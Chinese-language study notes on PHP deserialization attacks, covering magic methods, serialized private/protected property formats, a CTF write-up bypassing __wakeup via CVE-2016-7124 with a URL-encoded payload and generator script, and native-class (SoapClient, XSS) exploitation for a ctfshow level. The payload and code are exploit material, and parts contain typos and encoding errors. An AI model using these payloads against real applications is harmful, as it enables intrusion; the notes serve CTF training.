1、反序列化魔术方法全解
2、反序列化变量属性全解
3、反序列化魔术方法原生类
4、反序列化语言特性漏洞绕过
~其他魔术方法
共有&私有&保护
语言模式方法漏洞
~原生类获取利用配合
#反序列化利用大概分类三类
-魔术方法的调用逻辑如触发条件
-语言原生类的调用逻辑如SoapClient
-语言自身的安全缺陷如CVE-2016-7124
#反序列化课程点:
-PHP&Java&Python
__construct()://构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
方法&属性-调用详解&变量数据详解
CTF-语言漏洞-wakeup方法绕过
CTF-方法原生类获取&利用&配合其他
#方法&属性-调用详解&变量数据详解
对象变量属性:
public(公共的)在本类内部、外部类、子类都可以访问
protect(受保护的)只有本类或子类或父类中可以访问
private(私人的)只有本类内部可以使用
序列化数据显示:
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
#CTF语言漏洞-wakeup()方法绕过
极客大挑战20191 PHP CVE2016-7124
如果存在wakeup方法,调用unserilize(O方法前则先调用wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
1、下载源码分析,触发flag条件
2、分析会缺发调用wakeup强制username值
3、利用语言漏洞绕过CVE-2016-7124
4、构造payload后修改满足漏洞条件发
Pyload
select=0%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A%00Name%00username"%3Bs
%3A5%3A"admin"%3Bs%3A14%3A%00Name%00password"%3Bi%3A100%3B%7D
思路:通过文件目录扫描出www.zip文件,文件中含有网站源代码,观察网站源码发现要想获得flag需要
password=100&username=admin,同时并未给出传参的位置,
所以需要利用反序列化构造username和password,
但是在利用unserialize()函数的时候会自动调用__wakeup()魔术方面把username修改,
所以思考要跳过__wakeiup()魔术方法,就需要利用CVE-2016-7124漏洞。
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
构造链:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));
?>
输出结果后修改属性个数大于真实属性个数即可,然后传参带入即可。
CTF-方法原生类获取&利用&配合其他
此处回顾了ctfshow 259关
对于这个原生类的知识,主要是从一下三个方面去说明。
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明
首先通过网上找的一个小脚本,可以列出每个魔术方法对应的一些原生类。
直接访问即可返回原生类(但不全)
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}}}?>
本地dome xss
参考链接:https://www.anquanke.com/post/id/264823
思路:通过分析代码传入参数k,最后直接输出对象,此处可以使用__tostring魔术方法,但是代码中并没包含__tostring的对象,所以想到要使用原生类
构造利用链:
思路:分析代码存在不存在的函数方法所以i想到利用__call()魔术方法触发,
但是代码中没有__call()魔术方法,所以想到使用含有魔术方法的原生类soapClient()访问flag.php讲falg写入flag.txt,最后读取即可。
flag.php中表明需要本地访问且ua头有限制token=ctfshow方可写入。